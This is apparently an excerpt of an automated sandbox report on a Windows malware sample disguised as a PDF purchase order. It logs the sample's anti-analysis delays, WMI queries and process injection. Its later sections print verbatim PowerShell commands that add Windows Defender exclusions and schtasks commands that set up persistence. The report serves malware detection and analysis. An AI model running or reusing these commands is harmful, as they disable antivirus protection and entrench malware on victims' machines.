Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599743	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599625	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599515	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598963	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598733	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598462	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598124	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598013	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597012	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596273	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596042	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595679	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595534	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595418	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595294	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595152	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594046	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 593936	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 593812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599781
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599671
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599561
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599449
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599343
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599234
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599125
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599015
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598906
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598797
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598687
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598576
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598469
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598318
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598134
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598002
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597890
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597775
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597672
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597168
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597062
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596952
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596843
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596734
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596595
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596469
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596344
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596234
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596122
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596015
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595906
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595797
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595687
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595568
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594729
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594625
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594511
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594187
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594073
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593953
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593843
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593734
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593625
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593515
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593402
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593297
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593187
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599529
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599422
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599313
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598828
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598719
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598594
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598484
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598375
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598155
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598008
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597906
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597797
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597688
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597563
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597328
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597219
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597094
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596984
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596875
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596766
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596656
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596547
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596437
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596328
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596094
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595984
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595869
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595608
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595371
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595151
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594813
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594656
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594547
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594437
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594328
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594200
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594092
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 593982
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 593874
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599891
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599516
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599406
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599297
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598828
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598719
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598594
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597735
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597610
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596735
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596610
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595675
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595562
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595453
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595339
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594735
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594610
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 593985

Source: z38PO_20248099-1_pdf.exe, 0000000A.00000002.3854506593.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, FrFvspxoHsPs.exe, 0000000F.00000002.3855064839.00000000016D6000.00000004.00000020.00020000.00000000.sdmp, sgxIb.exe, 00000013.00000002.1618746266.00000000014AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: sgxIb.exe, 00000018.00000002.3855625299.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory written: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory written: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process created: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Process created: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp675.tmp"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp26DE.tmp"
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process created: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
